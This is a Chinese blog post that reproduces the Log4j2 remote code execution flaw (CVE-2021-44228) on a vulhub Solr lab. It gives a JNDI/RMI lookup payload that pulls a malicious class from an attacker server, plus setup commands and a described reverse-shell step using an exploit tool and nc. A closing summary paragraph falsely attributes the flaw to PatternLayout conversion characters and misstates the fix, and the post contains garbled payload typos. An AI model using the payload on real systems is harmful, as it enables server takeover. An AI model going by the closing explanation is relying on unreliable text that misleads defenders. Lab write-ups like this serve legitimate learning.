Log4j2 远程代码执行漏洞(CVE-2021-44228)

14 篇文章 0 订阅

目录

介绍

log4j2介绍:

JNDI介绍

LDAP介绍

RMI介绍

log4j2漏洞

漏洞复现

漏洞的(触发)流程

利用log4j2漏洞反弹shell


最近打算学习一下JAVA中几个经典的漏洞,这里还是参考别的师傅总结的好文章进行学习

JAVA的几个经典漏洞包括:

  • log4j2漏洞(CVE-2021-44228)

  • fastjson反序列化漏洞

  • Shiro550漏洞(CVE-2016-4437)

  • weblogic漏洞(CVE-2019-2890)

这几个漏洞在https://vulhub.org/靶场中都有docker环境可以使用,很不错,后面的实验复现我也都会使用靶场中的环境,在这一篇,要学习的是log4j2漏洞(CVE-2021-44228)

介绍

log4j2介绍:

中文官网:介绍 · Log4j 2官方文档中文翻译 (gitbooks.io)

Apache Log4j2 是对Log4j 的升级版本,参考了logback 的一些优秀的设计,并且修复了一些问题,因此带来了一些重大的提升,主要有:

异常处理,在logback中,Appender中的异常不会被应用感知到,但是在log4j2中,提供了一些异常处理机制。

性能提升,log4j2 相较于log4j 和 logback 都具有明显的性能提升,有18倍性能提升,后面会有官方测试的数据。

自动重载配置,参考了logback的设计,当然会提供自动刷新参数配置,最实用的就是我们在生产上可以动态的修改日志的级别而不需要重启应用。

无垃圾机制,log4j2 在大部分情况下,都可以使用其设计的一套无垃圾机制【对象重用、内存缓冲】,避免频繁的日志收集导致的 jvm gc。

简单来说:

Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。

JNDI介绍

由于漏洞利用会涉及到JNDI注入相关的知识,这里简要做一个对JNDI的介绍。

JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象。JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

JNDI可以使用相应目录接口请求普通数据,还可以请求java对象。而且JNDI支持以命名引用(Naming References)的方式去远程下载一个class文件,然后加载该class文件并构建对象。若下载的是攻击者构建的含有恶意代码的class文件,则会在加载时执行恶意代码。

在这些目录接口中我们可以使用LDAP或RMI去下载远程主机上的class文件。

LDAP介绍

LDAP(轻型目录访问协议:是一个开放的,中立的,工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。

RMI介绍

RMI(远程方法调用):它是一种机制,能够让在某个java虚拟机上的对象调用另一个Java虚拟机的对象的方法。

log4j2漏洞

该漏洞是由于Apache Log4j2某些功能存在递归解析功能,导致攻击者可直接构造恶意请求,触发远程代码执行漏洞,从而获得目标服务器权限。

所以说Apache log4j2-RCE漏洞是由于Log4j2提供的lookup功能下的 jndi Lookup模块出现问题所导致的,该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源

而开发人员在处理数据时,并没有对用户输入的信息进行判断导致LOg4j2请求远程主机上的含有恶意代码的资源并执行其中的代码,从而造成远程代码执行漏洞。

漏洞复现

漏洞的触发流程:

漏洞的(触发)流程

1、攻击者发送一个HTTP请求,其用户名为${indi:rmi://rmi服务器地址/Exploityl}

2、被攻击服务器发现要输出的信息中有$队,则其中的内容要单独处理,进一步解析是NDI扩展内容且使用的是RM1,而后根据RMI服务器地址去请求Exploit。

3、RMI服务器返回Reference对象(用于告诉请求端所请求对象所在的类),而该Reference指定了远端文件下载服务器上含有恶意代码的class文件。

4、被攻击服务器通过Reference对象去请求文件下载服务器上的class文件。

5、被攻击服务器下载恶意class文件并执行其中的恶意代码。

img

进入到对应的路径中,使用docke-compose启动环境

pwd
/root/vulhub-master/log4j/CVE-2021-44228
docker-compose up -d

服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面。

漏洞位于/solr/admin/cores?action=xxx,我们在访问的同时使用BP进行抓包

可以看到是有回显的,说明这里存在命令执行漏洞

利用log4j2漏洞反弹shell

这里需要利用借助github上的工具------JNDI-Injection-Exploit v1.0 工具

工具下载我们对反弹shell的语句进行base64加密:

然后在攻击机中使用nc进行监听:

使用工具来进行漏洞利用:

然后在漏洞接口处访问:

执行完成后

就可以看到在Kali攻击机中已经通过该漏洞反弹的目标主机的shell了

参考文章:

java经典漏洞复现(基于vulhub) - FreeBuf网络安全行业门户

log4j2 的使用【超详细图文】-CSDN博客

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_log4j漏洞复现-CSDN博客

  • 36
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
Apache Log4j2是一个广泛使用的开源日志管理工具。然而,最近发现了一个严重的漏洞,被命名为CVE-2021-44228。这个漏洞允许攻击者通过恶意构造的日志事件来执行任意代码,导致系统被远程攻击者完全控制。 漏洞是由于Log4j2中的PatternLayout布局处理器存在一个特定的模式转换字符(%d、%i、%m、%p等)被恶意利用的问题。攻击者可以将恶意代码嵌入到日志事件中,并通过向受影响的Log4j2实例发送恶意请求触发此漏洞。一旦攻击成功,攻击者可以在受影响的应用程序上执行任意的远程代码。 这个漏洞的危害性非常高,因为日志功能几乎在每个应用程序中都得到广泛使用。攻击者可以通过恶意日志事件执行各种攻击,包括远程命令执行、数据库注入、代码执行等。受影响的应用程序可能会泄露敏感数据、遭受损坏甚至被完全控制。 解决这个漏洞的最佳方法是升级到Log4j2的最新版本。Apache已经发布了修复此漏洞的版本,更具体地说是2.15.0和2.16.0,这些版本不再处理这类模式转换字符。如果无法立即更新,可以考虑在应用程序中禁用PatternLayout布局处理器,或者使用其他日志管理框架替代Log4j2。 此外,还建议及时监测应用程序的日志活动,并对异常的日志事件进行审查。如果遇到可疑的日志事件,应立即采取行动,例如暂停相关服务、排查日志事件来源、加强网络安全防护等。 总之,Apache Log4j2CVE-2021-44228漏洞是一个严重的安全威胁,可能导致系统被完全控制。及时升级到修复版本、加强监控和审查日志活动是应对该漏洞的关键步骤。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

未知百分百

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值